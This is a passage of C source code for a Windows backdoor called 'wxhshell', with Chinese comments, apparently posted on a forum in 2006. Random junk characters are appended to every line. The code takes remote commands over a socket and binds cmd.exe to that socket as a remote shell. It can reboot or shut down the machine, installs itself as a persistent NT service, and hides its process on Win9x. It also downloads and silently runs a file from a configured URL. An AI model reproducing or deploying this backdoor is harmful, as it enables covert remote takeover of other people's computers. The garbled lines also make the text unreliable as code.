  case '?': { QySca(1tN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FE^?U%:u@  
    break; =6L :I x  
  } )w3XN A_V  
  // 安装 FRs|!\S=  
  case 'i': { >TH-Q[  
    if(Install()) >=]NO'?O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vj9`[1}1Z  
    else KU 8Cl>5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q? gQ  
    break; noB}p4  
    } iq[2H$  
  // 卸载 sf|_2sI  
  case 'r': { X(0:zb,#G*  
    if(Uninstall()) T3B |r<>I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2={K-s20  
    else T`(;;%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yF [@W<  
    break; } SWA|x  
    } $6]x,Ct  
  // 显示 wxhshell 所在路径 iNaC ZC  
  case 'p': { A~ %g"  
    char svExeFile[MAX_PATH]; 8B% O%*5`  
    strcpy(svExeFile,"\n\r"); 5 p(t")  
      strcat(svExeFile,ExeFile); o@Cn_p^X  
        send(wsh,svExeFile,strlen(svExeFile),0); V< 9em7  
    break; BGk<NEzH  
    } ?!Th-Cc&m  
  // 重启 y:(C=*^<t  
  case 'b': { IhFw{=2*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~[bMfkc3  
    if(Boot(REBOOT)) LTlC}3c28f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dwsy(g7  
    else { ZLFdnC@  
    closesocket(wsh); / F  
    ExitThread(0); 1.cUol nr  
    } ?X5glDZ$  
    break; <:_]Yl  
    } pC?1gc1G  
  // 关机 ";!1(xZr  
  case 'd': { p~{%f#V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8^ZM U{  
    if(Boot(SHUTDOWN)) kgI.kT(=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xQ(KmP2hl  
    else { :_b =Km<  
    closesocket(wsh); iLQt9Hyk  
    ExitThread(0); 7n3x19T  
    } =;-ju@d  
    break; $>*/']>  
    } -|iA!w#31  
  // 获取shell H]n0JG9K  
  case 's': { 8 ~L.6c5U  
    CmdShell(wsh); onypwfIk)t  
    closesocket(wsh); W0,"V'C  
    ExitThread(0); 1)kl  
    break; sN \}Q#:8  
  } =v#A&IPA'  
  // 退出 0 6v5/Xf  
  case 'x': { d=u%"36y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a(t<eN>b!  
    CloseIt(wsh); J hq5G"  
    break; fw~%^*  
    } 4!b'%)   
  // 离开 M97p.;;  
  case 'q': { }n&JZ`8<s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {m*J95[   
    closesocket(wsh); v lnUN  
    WSACleanup(); g7q]Vj  
    exit(1); oDiv9 jm  
    break; ofhZ@3  
        } x6cl(J}  
  } VH1c)FI  
  } Ta5iY }  
LCm}v&~%A  
  // 提示信息 l4.@YYzbp.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j`-y"6)  
} E$zq8-p|  
  } F$.s6Hh.  
tf}Q%)`f  
  return; U=?"j-wN  
} nf@u7*# 6  
?fX8WRdh  
// shell模块句柄 8Nq Iz  
int CmdShell(SOCKET sock) v7I*W/  
{ {mr)n3  
STARTUPINFO si; OL+40J  
ZeroMemory(&si,sizeof(si)); xB]v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @x>2|`65Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <cc0phr  
PROCESS_INFORMATION ProcessInfo; (ZR"O8  
char cmdline[]="cmd"; I }I/dh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?4||L8j2^  
  return 0; @Sd:]h:f-  
} .T>}O0L"  
S#z8H+'  
// 自身启动模式 QnAf A%  
int StartFromService(void) QX3![;0F  
{ Nm.>C4  
typedef struct P`v~L;f  
{ r:Tb{cA  
  DWORD ExitStatus; JF=ABJ=  
  DWORD PebBaseAddress; W{/z-&  
  DWORD AffinityMask; f__WnW5h  
  DWORD BasePriority; kO>{<$  
  ULONG UniqueProcessId; 1 ![bu  
  ULONG InheritedFromUniqueProcessId; DfFPGFv  
}   PROCESS_BASIC_INFORMATION; }iloX#  
p&M'DMj+  
PROCNTQSIP NtQueryInformationProcess; BC[d={_-  
nx]b\A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  aj B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aRP+?}b">  
\Y 4Z Q"0Q  
  HANDLE             hProcess; ><7`$2Or  
  PROCESS_BASIC_INFORMATION pbi; RN| ..zml  
Qeog$g.HI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x)5v8kgf  
  if(NULL == hInst ) return 0; =^M t#h."  
}w8AnaC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <}1%">RA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $8}'6,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wpI4P:  
g3rFJc  
  if (!NtQueryInformationProcess) return 0; 0G 1o3[F  
L ,/i%-J3c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dVfDS-v!  
  if(!hProcess) return 0; O~xmz!?=  
xU"qB24]=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qm8RRDG  
Y'h'8 \  
  CloseHandle(hProcess); UQ~rVUo.c  
uoHhp4>^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R<Tzt' z  
if(hProcess==NULL) return 0; _@TTVd  
<`qo*__1  
HMODULE hMod; 6vA 5;a@  
char procName[255]; M(jH"u&f  
unsigned long cbNeeded; RJ44o>L4O  
dp+Y?ufr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6u}NI!he  
N-]n>E  
  CloseHandle(hProcess); i=+6R  
2ZeL  
if(strstr(procName,"services")) return 1; // 以服务启动 5?MvO]_  
-;*Z!|e9  
  return 0; // 注册表启动 -y( V-  
} }D O#{@af  
jw[`\h}8  
// 主模块  &i!]  
int StartWxhshell(LPSTR lpCmdLine) 5 S& >9l  
{ iz(+(M  
  SOCKET wsl; $@j7VPE  
BOOL val=TRUE; uzsN#'7=  
  int port=0; !c7Od )]  
  struct sockaddr_in door; L)5nb-qp  
MC@cT^Z^  
  if(wscfg.ws_autoins) Install(); WXL.D_=+  
)J0VB't  
port=atoi(lpCmdLine); 5sE}B8 mF  
o<4LL7$A!  
if(port<=0) port=wscfg.ws_port; Me>'QVr  
6z*L9Vy($  
  WSADATA data; 9[*kpMC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3a0C<hW  
iC]}M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4$"Lf'sH6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +!(hd  
  door.sin_family = AF_INET; {65X37W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GFid riC  
  door.sin_port = htons(port); :EjIV]e  
t-Wn@a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2i)y'+s  
closesocket(wsl); {~"=6iyj  
return 1; rSk $]E]Z  
} fomkwN  
m[pz u2R  
  if(listen(wsl,2) == INVALID_SOCKET) { or<JjTJ\o_  
closesocket(wsl); .H&;pOf  
return 1; &,/T<V  
} -*EJj>x  
  Wxhshell(wsl); u+'=EGl  
  WSACleanup(); ZS-9|EA<  
w~9gZ&hdp  
return 0; 9HE)!Col  
U uys G\  
}  P/Z o  
580t@?  
// 以NT服务方式启动 *;m721#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <O WPG,  
{ [D)A+  
DWORD   status = 0; !m;VWGl*  
  DWORD   specificError = 0xfffffff; !ZVMx*1Cf  
Qi%A/~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TaC)N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Uu(W62  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mKg~8q 3  
  serviceStatus.dwWin32ExitCode     = 0; BK{8\/dg  
  serviceStatus.dwServiceSpecificExitCode = 0; }&j&T9oX  
  serviceStatus.dwCheckPoint       = 0; r?Vob}'Pt]  
  serviceStatus.dwWaitHint       = 0; +G~b-}  
%(E6ADB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C{) )T5G  
  if (hServiceStatusHandle==0) return; /vMpSN|3  
h^s}8y  
status = GetLastError(); | ] YT6-?.  
  if (status!=NO_ERROR) \rJk[Kec  
{ EPI*~=Z.U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; & mWq'h  
    serviceStatus.dwCheckPoint       = 0; vV|egmw01  
    serviceStatus.dwWaitHint       = 0; 4-m%[D |W  
    serviceStatus.dwWin32ExitCode     = status; q8oEb  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8_lD*bEt   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VltWY'\Wu;  
    return; ^Z!W3q Q  
  } 0jXIx2y  
\Q6Ip@?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?`vb\K<5H;  
  serviceStatus.dwCheckPoint       = 0; DW-LkgfA  
  serviceStatus.dwWaitHint       = 0;  84{<]y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \!PC:+u J  
} /b*@dy  
BYY>;>V  
// 处理NT服务事件,比如:启动、停止 Y PM>FDxDB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ReRRFkO"2  
{ i ]_fhC  
switch(fdwControl) H [v~  
{ y`BLIEI  
case SERVICE_CONTROL_STOP: *~vRbD$q  
  serviceStatus.dwWin32ExitCode = 0; %~h'#S2X(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ip4~qGJ  
  serviceStatus.dwCheckPoint   = 0; l YhwV\3  
  serviceStatus.dwWaitHint     = 0; o _-t/ ?  
  { #RSxo 4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LD NpEX~  
  } \)v.dQ!  
  return; D(&OyZ~Q+  
case SERVICE_CONTROL_PAUSE: R%Z} J R.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  }QI*Ns  
  break; yG_#>3sD+%  
case SERVICE_CONTROL_CONTINUE: WULj@ds\~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /i"EVN`t  
  break; `i{:mio  
case SERVICE_CONTROL_INTERROGATE: 0I k@d'7  
  break; wEp/bR1=  
}; xs:{%ki  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 48DsRy  
} rS jC/O&b  
52~k:"c  
// 标准应用程序主函数 ZN?(lt)u9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m/ukH{H1%  
{ xXbW6aI"  
~}5(J,1!  
// 获取操作系统版本 ' ZJ6p0  
OsIsNt=GetOsVer(); <L`R!}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?ix,Cu@M  
*dTw$T#  
  // 从命令行安装 }[Y):Yy  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3aOFpCs|#  
?=vwr,ir  
  // 下载执行文件 ]uZH  0  
if(wscfg.ws_downexe) { A~6 Cs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +`+a9+=  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8}0 D?  
} k"U4E J{  
07#!b~N  
if(!OsIsNt) { l>]M^=,&7  
// 如果时win9x,隐藏进程并且设置为注册表启动 3ty){#:  
HideProc(); '=2t(@aC  
StartWxhshell(lpCmdLine); u>E+HxUJ  
} ?BRL;(x  
else V~wmGp.e  
  if(StartFromService()) Jq!($PdA  
  // 以服务方式启动 7-LeJRB  
  StartServiceCtrlDispatcher(DispatchTable); Ju\"l8[f  
else 8%"e-chd  
  // 普通方式启动 J0K"WmW  
  StartWxhshell(lpCmdLine); $@x kKe"  
E% 'DIs  
return 0; ,..b)H5n  
}
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只看该作者 1 发表于: 2006-10-10
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